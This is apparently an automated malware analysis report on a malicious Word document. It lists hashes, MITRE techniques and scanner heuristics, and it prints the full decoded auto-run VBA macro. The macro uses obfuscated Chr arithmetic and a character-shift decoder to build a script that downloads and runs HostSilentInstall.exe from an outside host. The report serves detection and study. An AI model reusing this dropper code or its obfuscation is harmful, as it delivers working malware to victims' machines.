Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90160d08605c51a1…

MALICIOUS

Office (OLE)

26.5 KB Created: 2018-09-12 08:10:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 291d0b7ee24e80eecf203a95dbc91e68 SHA-1: 4eacc19a2c533a9a1d8bee622bfbcd3e20633a82 SHA-256: 90160d08605c51a19dd87a0e50248f81e4ffe0ff54dd2eff2118587a2cc07c37
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro within the document is designed to execute upon opening. It uses obfuscated strings to construct a command that downloads a file named 'HostSilentInstall.exe' from 'http://nationwide.kz\HostSilentInstall.exe' and then executes it. This indicates a dropper functionality, aiming to fetch and run a secondary payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(563 - 496) & Chr(1032 - 955) & Chr(931 - 831) & Chr(144 - 112) & Chr(726 - 679) & Chr(288 - 189) & Chr(144 - 112) & Chr(288 - 189) & Chr(931 - 831) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(563 - 496) & Chr(1032 - 955) & Chr(931 - 831) & Chr(144 - 112) & Chr(726 - 679) & Chr(288 - 189) & Chr(144 - 112) & Chr(288 - 189) & Chr(931 - 831) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & R3e & " E2l= ""http://nationwide.kz\HostSilentInstall.exe"">>E9o.VBS &" & R3e & " Q3h = H1z(""anruaMdwd"")>>E9o.VBS &" & R3e & " Set P5j = CreateObject(H1z(""lrwlkQMwlkgsso""))>>E9o.VBS &" & R3e & " P5j.Open H1z(""fds""), E2l, False>>E9o.VBS &" & R3e & " P5j.send ("""")>>E9o.VBS  &" & R3e & " Set Z6v = CreateObject(H1z(""`cncaMrsqd`l""))>>E9o.VBS &" & R3e & " Z6v.Open>>E9o.VBS &" & R3e & " Z6v.Type = 1 >>E9o.VBS  &@eCHo Z6v.Write P5j.ResponseBody>>E9o.VBS &" & R3e & " Z6v.Position = 0 > …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(563 - 496) & Chr(1032 - 955) & Chr(931 - 831) & Chr(144 - 112) & Chr(726 - 679) & Chr(288 - 189) & Chr(144 - 112) & Chr(288 - 189) & Chr(931 - 831) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & R3e & " E2l= ""http://nationwide.kz\HostSilentInstall.exe"">>E9o.VBS &" & R3e & " Q3h = H1z(""anruaMdwd"")>>E9o.VBS &" & R3e & " Set P5j = CreateObject(H1z(""lrwlkQMwlkgsso""))>>E9o.VBS &" & R3e & " P5j.Open H1z(""fds""), E2l, False>>E9o.VBS &" & R3e & " P5j.send ("""")>>E9o.VBS  &" & R3e & " Set Z6v = CreateObject(H1z(""`cncaMrsqd`l""))>>E9o.VBS &" & R3e & " Z6v.Open>>E9o.VBS &" & R3e & " Z6v.Type = 1 >>E9o.VBS  &@eCHo Z6v.Write P5j.ResponseBody>>E9o.VBS &" & R3e & " Z6v.Position = 0 > …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://nationwide.kz\HostSilentInstall.exe Referenced by macro
    • http://nationwide.kzReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1631 bytes
SHA-256: c09b10581af7038f9a4ae19bc59d5d0e2c0004957699dbf729dd0fd7b0f3239f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
R3e = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(563 - 496) & Chr(1032 - 955) & Chr(931 - 831) & Chr(144 - 112) & Chr(726 - 679) & Chr(288 - 189) & Chr(144 - 112) & Chr(288 - 189) & Chr(931 - 831) & _
 Chr(144 - 112) & Chr(976 - 939) & Chr(594 - 510) & Chr(75 - 6) & Chr(802 - 725) & Chr(813 - 733) & Chr(976 - 939) & _
 " & " & R3e & " E2l= ""http://nationwide.kz\HostSilentInstall.exe"">>E9o.VBS &" & R3e & " Q3h = H1z(""anruaMdwd"")>>E9o.VBS &" & R3e & " Set P5j = CreateObject(H1z(""lrwlkQMwlkgsso""))>>E9o.VBS &" & R3e & " P5j.Open H1z(""fds""), E2l, False>>E9o.VBS &" & R3e & " P5j.send ("""")>>E9o.VBS  &" & R3e & " Set Z6v = CreateObject(H1z(""`cncaMrsqd`l""))>>E9o.VBS &" & R3e & " Z6v.Open>>E9o.VBS &" & R3e & " Z6v.Type = 1 >>E9o.VBS  &@eCHo Z6v.Write P5j.ResponseBody>>E9o.VBS &" & R3e & " Z6v.Position = 0 >>E9o.VBS &" & R3e & " Z6v.SaveToFile Q3h, 2 >>E9o.VBS &" & R3e & " Z6v.Close>>E9o.VBS &" & R3e & " function H1z(K2t) >> E9o.VBS &" & R3e & " For T5i = 1 To Len(K2t) >>E9o.VBS &" & R3e & " O7o = Mid(K2t, T5i, 1) >>E9o.VBS &" & R3e & " O7o = Chr(Asc(O7o)- 31) >>E9o.VBS &" & R3e & " P1c = P1c + O7o >> E9o.VBS  &" & R3e & " Next >>E9o.VBS &" & R3e & " H1z = P1c >>E9o.VBS &" & R3e & " End Function >>E9o.VBS  & E9o.VBS  &dEl E9o.VBS  & tIMeOUT 13 & BOSVB.EXE", vbHide
End Sub

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